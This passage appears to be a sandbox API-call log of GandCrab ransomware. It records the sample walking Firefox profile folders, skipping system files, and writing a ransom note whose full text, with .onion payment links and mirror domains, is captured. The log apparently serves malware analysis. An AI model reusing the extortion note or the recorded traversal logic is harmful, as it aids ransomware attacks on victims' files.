param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\GDCB-DECRYPT.txt") returned 125 [0057.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\GDCB-DECRYPT.txt") returned 125 [0057.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\GDCB-DECRYPT.txt") returned 125 [0057.800] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\GDCB-DECRYPT.txt") returned 125 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.800] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.800] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.800] FindNextFileW (in: hFindFile=0x5dd848, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0057.800] FindClose (in: hFindFile=0x5dd848 | out: hFindFile=0x5dd848) returned 1 [0057.800] FindNextFileW (in: hFindFile=0x5dda88, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0057.800] FindClose (in: hFindFile=0x5dda88 | out: hFindFile=0x5dda88) returned 1 [0057.800] FindNextFileW (in: hFindFile=0x5ddd48, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0057.800] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.800] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\GDCB-DECRYPT.txt" [0057.800] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.801] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\GDCB-DECRYPT.txt") returned 114 [0057.801] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\GDCB-DECRYPT.txt") returned 114 [0057.801] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\GDCB-DECRYPT.txt") returned 114 [0057.801] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\GDCB-DECRYPT.txt") returned 114 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.801] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.801] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.801] FindNextFileW (in: hFindFile=0x5ddd48, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0057.801] lstrcmpW (lpString1="moz-safe-about+home", lpString2=".") returned 1 [0057.801] lstrcmpW (lpString1="moz-safe-about+home", lpString2="..") returned 1 [0057.801] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home" [0057.801] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\" [0057.801] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.801] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.801] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.801] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.801] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.801] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.801] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\") returned 118 [0057.802] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*" [0057.802] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5dd9c8 [0057.805] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.805] FindNextFileW (in: hFindFile=0x5dd9c8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0057.805] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.805] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.805] FindNextFileW (in: hFindFile=0x5dd9c8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0057.805] lstrcmpW (lpString1=".metadata", lpString2=".") returned 1 [0057.805] lstrcmpW (lpString1=".metadata", lpString2="..") returned 1 [0057.805] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2=".metadata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata" [0057.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned 127 [0057.806] lstrcmpW (lpString1=".metadata", lpString2=".sql") returned -1 [0057.806] FindNextFileW (in: hFindFile=0x5dd9c8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0057.806] lstrcmpW (lpString1=".metadata-v2", lpString2=".") returned 1 [0057.806] lstrcmpW (lpString1=".metadata-v2", lpString2="..") returned 1 [0057.806] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2=".metadata-v2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" [0057.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned 130 [0057.806] lstrcmpW (lpString1=".metadata-v2", lpString2=".sql") returned -1 [0057.806] FindNextFileW (in: hFindFile=0x5dd9c8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0057.806] lstrcmpW (lpString1="idb", lpString2=".") returned 1 [0057.806] lstrcmpW (lpString1="idb", lpString2="..") returned 1 [0057.806] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb" [0057.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb") returned 121 [0057.806] lstrcmpW (lpString1=".default\\storage\\permanent\\moz-safe-about+home\\idb", lpString2=".sql") returned -1 [0057.806] FindNextFileW (in: hFindFile=0x5dd9c8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0057.806] FindClose (in: hFindFile=0x5dd9c8 | out: hFindFile=0x5dd9c8) returned 1 [0057.806] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.806] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\\\GDCB-DECRYPT.txt") returned 135 [0057.806] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0057.839] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.839] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e0cc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e0cc*=0xad6, lpOverlapped=0x0) returned 1 [0057.840] CloseHandle (hObject=0x50c) returned 1 [0057.840] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.840] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\") returned 118 [0057.840] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*" [0057.840] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5ddec8 [0057.840] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.840] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.841] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.841] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.841] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.841] lstrcmpW (lpString1=".metadata", lpString2=".") returned 1 [0057.841] lstrcmpW (lpString1=".metadata", lpString2="..") returned 1 [0057.841] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2=".metadata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata" [0057.841] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.841] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned 127 [0057.841] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned 127 [0057.841] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.841] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.841] lstrcmpW (lpString1=".metadata-v2", lpString2=".") returned 1 [0057.841] lstrcmpW (lpString1=".metadata-v2", lpString2="..") returned 1 [0057.841] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2=".metadata-v2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" [0057.841] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.842] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned 130 [0057.842] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned 130 [0057.842] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.843] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.843] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.843] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\GDCB-DECRYPT.txt" [0057.843] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.843] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\GDCB-DECRYPT.txt") returned 134 [0057.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\GDCB-DECRYPT.txt") returned 134 [0057.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\GDCB-DECRYPT.txt") returned 134 [0057.843] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\GDCB-DECRYPT.txt") returned 134 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.843] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.843] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.843] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0057.843] lstrcmpW (lpString1="idb", lpString2=".") returned 1 [0057.843] lstrcmpW (lpString1="idb", lpString2="..") returned 1 [0057.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb" [0057.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\" [0057.843] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.843] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.843] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.843] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.843] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.843] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.844] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\") returned 122 [0057.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*" [0057.844] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5dddc8 [0057.848] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.848] FindNextFileW (in: hFindFile=0x5dddc8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0057.848] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.848] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.848] FindNextFileW (in: hFindFile=0x5dddc8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0057.848] lstrcmpW (lpString1="818200132aebmoouht.files", lpString2=".") returned 1 [0057.848] lstrcmpW (lpString1="818200132aebmoouht.files", lpString2="..") returned 1 [0057.848] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht.files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files" [0057.848] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files") returned 146 [0057.848] lstrcmpW (lpString1=".files", lpString2=".sql") returned -1 [0057.848] FindNextFileW (in: hFindFile=0x5dddc8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0057.848] lstrcmpW (lpString1="818200132aebmoouht.sqlite", lpString2=".") returned 1 [0057.848] lstrcmpW (lpString1="818200132aebmoouht.sqlite", lpString2="..") returned 1 [0057.848] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" [0057.848] lstrlenW 